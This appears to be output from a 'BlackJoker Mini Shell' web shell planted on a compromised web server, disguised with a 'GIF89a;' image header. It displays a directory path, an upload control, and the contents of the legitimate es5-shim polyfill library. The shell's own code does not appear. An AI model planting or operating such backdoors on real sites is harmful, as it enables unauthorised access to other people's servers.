GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/livechat/js/lib/
Upload File :
Current File : /home/serb/public_html/livechat/js/lib/es5-shim.min.js

/*!
 * https://github.com/es-shims/es5-shim
 * @license es5-shim Copyright 2009-2014 by contributors, MIT License
 * see https://github.com/es-shims/es5-shim/blob/master/LICENSE
 */

// vim: ts=4 sts=4 sw=4 expandtab

//Add semicolon to prevent IIFE from being passed as argument to concated code.
;

(function(a,b){if(typeof define==="function"&&define.amd){define(b)}else{if(typeof exports==="object"){module.exports=b()}else{a.returnExports=b()}}}(this,function(){function Q(){}if(!Function.prototype.bind){Function.prototype.bind=function g(ag){var ah=this;if(typeof ah!="function"){throw new TypeError("Function.prototype.bind called on incompatible "+ah)}var ad=E.call(arguments,1);var ac=function(){if(this instanceof af){var aj=ah.apply(this,ad.concat(E.call(arguments)));if(Object(aj)===aj){return aj}return this}else{return ah.apply(ag,ad.concat(E.call(arguments)))}};var e=Math.max(0,ah.length-ad.length);var ai=[];for(var ae=0;ae<e;ae++){ai.push("$"+ae)}var af=Function("binder","return function("+ai.join(",")+"){return binder.apply(this,arguments)}")(ac);if(ah.prototype){Q.prototype=ah.prototype;af.prototype=new Q();Q.prototype=null}return af}}var b=Function.prototype.call;var D=Array.prototype;var v=Object.prototype;var E=D.slice;var F=b.bind(v.toString);var L=b.bind(v.hasOwnProperty);var R;var ab;var P;var Y;var m;if((m=L(v,"__defineGetter__"))){R=b.bind(v.__defineGetter__);ab=b.bind(v.__defineSetter__);P=b.bind(v.__lookupGetter__);Y=b.bind(v.__lookupSetter__)}if([1,2].splice(0).length!=2){var l=Array.prototype.splice;var h=Array.prototype.push;var Z=Array.prototype.unshift;if(function(){function ac(af){var ae=[];while(af--){ae.unshift(af)}return ae}var ad=[],e;ad.splice.bind(ad,0,0).apply(null,ac(20));ad.splice.bind(ad,0,0).apply(null,ac(26));e=ad.length;ad.splice(5,0,"XXX");if(e+1==ad.length){return true}}()){Array.prototype.splice=function(ac,e){if(!arguments.length){return[]}else{return l.apply(this,[ac===void 0?0:ac,e===void 0?(this.length-ac):e].concat(E.call(arguments,2)))}}}else{Array.prototype.splice=function(af,ad){var e,ac=E.call(arguments,2),ae=ac.length;if(!arguments.length){return[]}if(af===void 0){af=0}if(ad===void 0){ad=this.length-af}if(ae>0){if(ad<=0){if(af==this.length){h.apply(this,ac);return[]}if(af==0){Z.apply(this,ac);return[]}}e=E.call(this,af,af+ad);ac.push.apply(ac,E.call(this,af+ad,this.length));ac.unshift.apply(ac,E.call(this,0,af));ac.unshift(0,this.length);l.apply(this,ac);return e}return l.call(this,af,ad)}}}if([].unshift(0)!=1){var Z=Array.prototype.unshift;Array.prototype.unshift=function(){Z.apply(this,arguments);return this.length}}if(!Array.isArray){Array.isArray=function z(e){return F(e)=="[object Array]"}}var V=Object("a");var O=V[0]!="a"||!(0 in V);var x=function X(ac){var e=true;if(ac){ac.call("foo",function(af,ad,ae){if(typeof ae!=="object"){e=false}})}return !!ac&&e};if(!Array.prototype.forEach||!x(Array.prototype.forEach)){Array.prototype.forEach=function c(e){var ad=G(this),ac=O&&F(this)=="[object String]"?this.split(""):ad,af=arguments[1],ae=-1,ag=ac.length>>>0;if(F(e)!="[object Function]"){throw new TypeError()}while(++ae<ag){if(ae in ac){e.call(af,ac[ae],ae,ad)}}}}if(!Array.prototype.map||!x(Array.prototype.map)){Array.prototype.map=function C(ac){var ae=G(this),ad=O&&F(this)=="[object String]"?this.split(""):ae,ah=ad.length>>>0,e=Array(ah),ag=arguments[1];if(F(ac)!="[object Function]"){throw new TypeError(ac+" is not a function")}for(var af=0;af<ah;af++){if(af in ad){e[af]=ac.call(ag,ad[af],af,ae)}}return e}}if(!Array.prototype.filter||!x(Array.prototype.filter)){Array.prototype.filter=function J(ac){var ae=G(this),ad=O&&F(this)=="[object String]"?this.split(""):ae,ah=ad.length>>>0,e=[],ai,ag=arguments[1];if(F(ac)!="[object Function]"){throw new TypeError(ac+" is not a function")}for(var af=0;af<ah;af++){if(af in ad){ai=ad[af];if(ac.call(ag,ai,af,ae)){e.push(ai)}}}return e}}if(!Array.prototype.every||!x(Array.prototype.every)){Array.prototype.every=function H(e){var ad=G(this),ac=O&&F(this)=="[object String]"?this.split(""):ad,ag=ac.length>>>0,af=arguments[1];if(F(e)!="[object Function]"){throw new TypeError(e+" is not a function")}for(var ae=0;ae<ag;ae++){if(ae in ac&&!e.call(af,ac[ae],ae,ad)){return false}}return true}}if(!Array.prototype.some||!x(Array.prototype.some)){Array.prototype.some=function N(e){var ad=G(this),ac=O&&F(this)=="[object String]"?this.split(""):ad,ag=ac.length>>>0,af=arguments[1];if(F(e)!="[object Function]"){throw new TypeError(e+" is not a function")}for(var ae=0;ae<ag;ae++){if(ae in ac&&e.call(af,ac[ae],ae,ad)){return true}}return false}}if(!Array.prototype.reduce){Array.prototype.reduce=function n(ac){var ae=G(this),ad=O&&F(this)=="[object String]"?this.split(""):ae,ag=ad.length>>>0;if(F(ac)!="[object Function]"){throw new TypeError(ac+" is not a function")}if(!ag&&arguments.length==1){throw new TypeError("reduce of empty array with no initial value")}var af=0;var e;if(arguments.length>=2){e=arguments[1]}else{do{if(af in ad){e=ad[af++];break}if(++af>=ag){throw new TypeError("reduce of empty array with no initial value")}}while(true)}for(;af<ag;af++){if(af in ad){e=ac.call(void 0,e,ad[af],af,ae)}}return e}}if(!Array.prototype.reduceRight){Array.prototype.reduceRight=function y(ac){var ae=G(this),ad=O&&F(this)=="[object String]"?this.split(""):ae,ag=ad.length>>>0;if(F(ac)!="[object Function]"){throw new TypeError(ac+" is not a function")}if(!ag&&arguments.length==1){throw new TypeError("reduceRight of empty array with no initial value")}var e,af=ag-1;if(arguments.length>=2){e=arguments[1]}else{do{if(af in ad){e=ad[af--];break}if(--af<0){throw new TypeError("reduceRight of empty array with no initial value")}}while(true)}if(af<0){return e}do{if(af in this){e=ac.call(void 0,e,ad[af],af,ae)}}while(af--);return e}}if(!Array.prototype.indexOf||([0,1].indexOf(1,2)!=-1)){Array.prototype.indexOf=function o(ac){var e=O&&F(this)=="[object String]"?this.split(""):G(this),ae=e.length>>>0;if(!ae){return -1}var ad=0;if(arguments.length>1){ad=M(arguments[1])}ad=ad>=0?ad:Math.max(0,ae+ad);for(;ad<ae;ad++){if(ad in e&&e[ad]===ac){return ad}}return -1}}if(!Array.prototype.lastIndexOf||([0,1].lastIndexOf(0,-3)!=-1)){Array.prototype.lastIndexOf=function K(ac){var e=O&&F(this)=="[object String]"?this.split(""):G(this),ae=e.length>>>0;if(!ae){return -1}var ad=ae-1;if(arguments.length>1){ad=Math.min(ad,M(arguments[1]))}ad=ad>=0?ad:ae-Math.abs(ad);for(;ad>=0;ad--){if(ad in e&&ac===e[ad]){return ad}}return -1}}if(!Object.keys){var k=true,T=(function(){}).propertyIsEnumerable("prototype"),p=["toString","toLocaleString","valueOf","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","constructor"],i=p.length;for(var r in {toString:null}){k=false}Object.keys=function B(ae){var ac=F(ae)==="[object Function]",aj=ae!==null&&typeof ae==="object";if(!aj&&!ac){throw new TypeError("Object.keys called on a non-object")}var ai=[],ak=T&&ac;for(var e in ae){if(!(ak&&e==="prototype")&&L(ae,e)){ai.push(e)}}if(k){var ah=ae.constructor,ad=ah&&ah.prototype===ae;for(var ag=0;ag<i;ag++){var af=p[ag];if(!(ad&&af==="constructor")&&L(ae,af)){ai.push(af)}}}return ai}}var w=-62198755200000,f="-000001";if(!Date.prototype.toISOString||(new Date(w).toISOString().indexOf(f)===-1)){Date.prototype.toISOString=function j(){var e,ad,ae,ac,af;if(!isFinite(this)){throw new RangeError("Date.prototype.toISOString called on non-finite value.")}ac=this.getUTCFullYear();af=this.getUTCMonth();ac+=Math.floor(af/12);af=(af%12+12)%12;e=[af+1,this.getUTCDate(),this.getUTCHours(),this.getUTCMinutes(),this.getUTCSeconds()];ac=((ac<0?"-":(ac>9999?"+":""))+("00000"+Math.abs(ac)).slice(0<=ac&&ac<=9999?-4:-6));ad=e.length;while(ad--){ae=e[ad];if(ae<10){e[ad]="0"+ae}}return(ac+"-"+e.slice(0,2).join("-")+"T"+e.slice(2).join(":")+"."+("000"+this.getUTCMilliseconds()).slice(-3)+"Z")}}var U=false;try{U=(Date.prototype.toJSON&&new Date(NaN).toJSON()===null&&new Date(w).toJSON().indexOf(f)!==-1&&Date.prototype.toJSON.call({toISOString:function(){return true}}))}catch(W){}if(!U){Date.prototype.toJSON=function I(ad){var ae=Object(this),ac=q(ae),e;if(typeof ac==="number"&&!isFinite(ac)){return null}e=ae.toISOString;if(typeof e!="function"){throw new TypeError("toISOString property is not callable")}return e.call(ae)}}if(!Date.parse||"Date.parse is buggy"){Date=(function(af){function ac(al,aq,aj,ap,ao,ar,ak){var am=arguments.length;if(this instanceof af){var an=am==1&&String(al)===al?new af(ac.parse(al)):am>=7?new af(al,aq,aj,ap,ao,ar,ak):am>=6?new af(al,aq,aj,ap,ao,ar):am>=5?new af(al,aq,aj,ap,ao):am>=4?new af(al,aq,aj,ap):am>=3?new af(al,aq,aj):am>=2?new af(al,aq):am>=1?new af(al):new af();an.constructor=ac;return an}return af.apply(this,arguments)}var ah=new RegExp("^(\\d{4}|[+-]\\d{6})(?:-(\\d{2})(?:-(\\d{2})(?:T(\\d{2}):(\\d{2})(?::(\\d{2})(?:(\\.\\d{1,}))?)?(Z|(?:([-+])(\\d{2}):(\\d{2})))?)?)?)?$");var e=[0,31,59,90,120,151,181,212,243,273,304,334,365];function ag(ak,al){var aj=al>1?1:0;return(e[al]+Math.floor((ak-1969+aj)/4)-Math.floor((ak-1901+aj)/100)+Math.floor((ak-1601+aj)/400)+365*(ak-1970))}function ad(aj){return Number(new af(1970,0,1,0,0,0,aj))}for(var ae in af){ac[ae]=af[ae]}ac.now=af.now;ac.UTC=af.UTC;ac.prototype=af.prototype;ac.prototype.constructor=ac;ac.parse=function ai(ar){var aq=ah.exec(ar);if(aq){var au=Number(aq[1]),at=Number(aq[2]||1)-1,av=Number(aq[3]||1)-1,an=Number(aq[4]||0),am=Number(aq[5]||0),aj=Number(aq[6]||0),ax=Math.floor(Number(aq[7]||0)*1000),al=Boolean(aq[4]&&!aq[8]),ap=aq[9]==="-"?1:-1,ak=Number(aq[10]||0),ao=Number(aq[11]||0),aw;if(an<(am>0||aj>0||ax>0?24:25)&&am<60&&aj<60&&ax<1000&&at>-1&&at<12&&ak<24&&ao<60&&av>-1&&av<(ag(au,at+1)-ag(au,at))){aw=((ag(au,at)+av)*24+an+ak*ap)*60;aw=((aw+am+ao*ap)*60+aj)*1000+ax;if(al){aw=ad(aw)}if(-8640000000000000<=aw&&aw<=8640000000000000){return aw}}return NaN}return af.parse.apply(this,arguments)};return ac})(Date)}if(!Date.now){Date.now=function S(){return new Date().getTime()}}if(!Number.prototype.toFixed||(0.00008).toFixed(3)!=="0.000"||(0.9).toFixed(0)==="0"||(1.255).toFixed(2)!=="1.25"||(1000000000000000100).toFixed(0)!=="1000000000000000128"){(function(){var e,aj,ag,ah;e=10000000;aj=6;ag=[0,0,0,0,0,0];function ac(am,al){var ak=-1;while(++ak<aj){al+=am*ag[ak];ag[ak]=al%e;al=Math.floor(al/e)}}function af(am){var ak=aj,al=0;while(--ak>=0){al+=ag[ak];ag[ak]=Math.floor(al/am);al=(al%am)*e}}function ad(){var al=aj;var am="";while(--al>=0){if(am!==""||al===0||ag[al]!==0){var ak=String(ag[al]);if(am===""){am=ak}else{am+="0000000".slice(0,7-ak.length)+ak}}}return am}function ai(ak,am,al){return(am===0?al:(am%2===1?ai(ak,am-1,al*ak):ai(ak*ak,am/2,al)))}function ae(ak){var al=0;while(ak>=4096){al+=12;ak/=4096}while(ak>=2){al+=1;ak/=2}return al}Number.prototype.toFixed=function(ar){var an,aq,at,ak,ao,ap,am,al;an=Number(ar);an=an!==an?0:Math.floor(an);if(an<0||an>20){throw new RangeError("Number.toFixed called with invalid number of decimals")}aq=Number(this);if(aq!==aq){return"NaN"}if(aq<=-1e+21||aq>=1e+21){return String(aq)}at="";if(aq<0){at="-";aq=-aq}ak="0";if(aq>1e-21){ao=ae(aq*ai(2,69,1))-69;ap=(ao<0?aq*ai(2,-ao,1):aq/ai(2,ao,1));ap*=4503599627370496;ao=52-ao;if(ao>0){ac(0,ap);am=an;while(am>=7){ac(10000000,0);am-=7}ac(ai(10,am,1),0);am=ao-1;while(am>=23){af(1<<23);am-=23}af(1<<am);ac(1,1);af(2);ak=ad()}else{ac(0,ap);ac(1<<(-ao),0);ak=ad()+"0.00000000000000000000".slice(2,2+an)}}if(an>0){al=ak.length;if(al<=an){ak=at+"0.0000000000000000000".slice(0,an-al+2)+ak}else{ak=at+ak.slice(0,al-an)+"."+ak.slice(al-an)}}else{ak=at+ak}return ak}}())}var u=String.prototype.split;if("ab".split(/(?:ab)*/).length!==2||".".split(/(.?)(.?)/).length!==4||"tesst".split(/(s)*/)[1]==="t"||"".split(/.?/).length||".".split(/()()/).length>1){(function(){var e=/()??/.exec("")[1]===void 0;String.prototype.split=function(ah,ag){var ak=this;if(ah===void 0&&ag===0){return[]}if(Object.prototype.toString.call(ah)!=="[object RegExp]"){return u.apply(this,arguments)}var ae=[],af=(ah.ignoreCase?"i":"")+(ah.multiline?"m":"")+(ah.extended?"x":"")+(ah.sticky?"y":""),ac=0,ah=new RegExp(ah.source,af+"g"),ad,ai,aj,al;ak+="";if(!e){ad=new RegExp("^"+ah.source+"$(?!\\s)",af)}ag=ag===void 0?-1>>>0:ag>>>0;while(ai=ah.exec(ak)){aj=ai.index+ai[0].length;if(aj>ac){ae.push(ak.slice(ac,ai.index));if(!e&&ai.length>1){ai[0].replace(ad,function(){for(var am=1;am<arguments.length-2;am++){if(arguments[am]===void 0){ai[am]=void 0}}})}if(ai.length>1&&ai.index<ak.length){Array.prototype.push.apply(ae,ai.slice(1))}al=ai[0].length;ac=aj;if(ae.length>=ag){break}}if(ah.lastIndex===ai.index){ah.lastIndex++}}if(ac===ak.length){if(al||!ah.test("")){ae.push("")}}else{ae.push(ak.slice(ac))}return ae.length>ag?ae.slice(0,ag):ae}}())}else{if("0".split(void 0,0).length){String.prototype.split=function(ac,e){if(ac===void 0&&e===0){return[]}return u.apply(this,arguments)}}}if("".substr&&"0b".substr(-1)!=="b"){var d=String.prototype.substr;String.prototype.substr=function(ac,e){return d.call(this,ac<0?((ac=this.length+ac)<0?0:ac):ac,e)}}var aa="\x09\x0A\x0B\x0C\x0D\x20\xA0\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028\u2029\uFEFF";if(!String.prototype.trim||aa.trim()){aa="["+aa+"]";var A=new RegExp("^"+aa+aa+"*"),s=new RegExp(aa+aa+"*$");String.prototype.trim=function a(){if(this===void 0||this===null){throw new TypeError("can't convert "+this+" to object")}return String(this).replace(A,"").replace(s,"")}}if(parseInt(aa+"08")!==8||parseInt(aa+"0x16")!==22){parseInt=(function(e){var ac=/^0[xX]/;return function ad(af,ae){af=String(af).trim();if(!+ae){ae=ac.test(af)?16:10}return e(af,ae)}}(parseInt))}function M(e){e=+e;if(e!==e){e=0}else{if(e!==0&&e!==(1/0)&&e!==-(1/0)){e=(e>0||-1)*Math.floor(Math.abs(e))}}return e}function t(e){var ac=typeof e;return(e===null||ac==="undefined"||ac==="boolean"||ac==="number"||ac==="string")}function q(ac){var ae,e,ad;if(t(ac)){return ac}e=ac.valueOf;if(typeof e==="function"){ae=e.call(ac);if(t(ae)){return ae}}ad=ac.toString;if(typeof ad==="function"){ae=ad.call(ac);if(t(ae)){return ae}}throw new TypeError()}var G=function(e){if(e==null){throw new TypeError("can't convert "+e+" to object")}return Object(e)}}));

./BlackJoker Mini Shell 1.0